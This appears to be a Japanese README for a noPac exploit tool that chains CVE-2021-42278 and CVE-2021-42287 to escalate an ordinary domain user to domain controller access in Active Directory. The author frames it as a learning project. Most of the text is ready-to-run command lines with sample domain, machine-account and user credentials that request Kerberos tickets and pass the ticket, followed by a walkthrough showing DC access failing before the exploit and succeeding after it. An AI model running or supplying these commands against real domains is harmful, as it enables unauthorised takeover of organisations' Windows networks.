
このプロジェクトは、noPac の原理学習のために生まれました。cube0x0 のプロジェクトをベースにいくつかの変更を加えています。ソースコードには個人的な理解のコメントを追加しました。
脆弱性の分析記事は私のブログ記事をご覧ください:noPac 分析
noPac は CVE-2021-42278 (sAMAccountName spoofing) と CVE-2021-42287 (deceiving the KDC) の2つの脆弱性を組み合わせたものです。これらの脆弱性の利用条件を同時に満たした場合のみ、正常に利用できます。
Examples: Get TGT and ST
noPac.exe /domain DomainName /dc DomainController /mAccount MachineAccount /mPassword MachineAccountPassword /user DomainUser /pass DomainUserPassword
noPac.exe /domain missyou.com /dc dc.missyou.com /mAccount test1b$ /mPassword "TesT1b13!#@" /user wanglei /pass wanglei
noPac.exe /domain DomainName /dc DomainController /mAccount MachineAccount /mPassword MachineAccountPassword /user DomainUser /pass DomainUserPassword /service altservice
noPac.exe /domain missyou.com /dc dc.missyou.com /mAccount test1b$ /mPassword "TesT1b13!#@" /user wanglei /pass wanglei /service cifs
Examples: PTT
noPac.exe /domain DomainName /dc DomainController /mAccount MachineAccount /mPassword MachineAccountPassword /user DomainUser /pass DomainUserPassword /service altservice /ptt
noPac.exe /domain missyou.com /dc dc.missyou.com /mAccount test1b$ /mPassword "TesT1b13!#@" /user wanglei /pass wanglei /service cifs /ptt
noPac.exe /domain missyou.com /dc dc.missyou.com /mAccount test1b /mPassword "TesT1b13!#@" /user wanglei /pass wanglei /service cifs /ptt
最もよく使われる方法は PTT です:
noPac.exe /domain missyou.com /dc dc.missyou.com /mAccount test1b$ /mPassword "TesT1b13!#@" /user wanglei /pass wanglei /service cifs /ptt
noPac 利用前は DC にアクセスする権限がありません。

noPac を利用します。
noPac.exe /domain missyou.com /dc dc.missyou.com /mAccount test1b$ /mPassword "TesT1b13!#@" /user wanglei /pass wanglei /service cifs /ptt

PTT 後、現在のウィンドウで再度 DC にアクセスすると成功します。

プログラムは .NET 4.0+ 環境のマシンでのみ実行可能です。Windows Server 2012 はデフォルトで .NET 4.0 が含まれ、Windows Server 2008 はデフォルトで .NET 3.5 が含まれます。
マシン上の .NET バージョンを確認するには:
dir c:\Windows\Microsoft.NET\Framework64
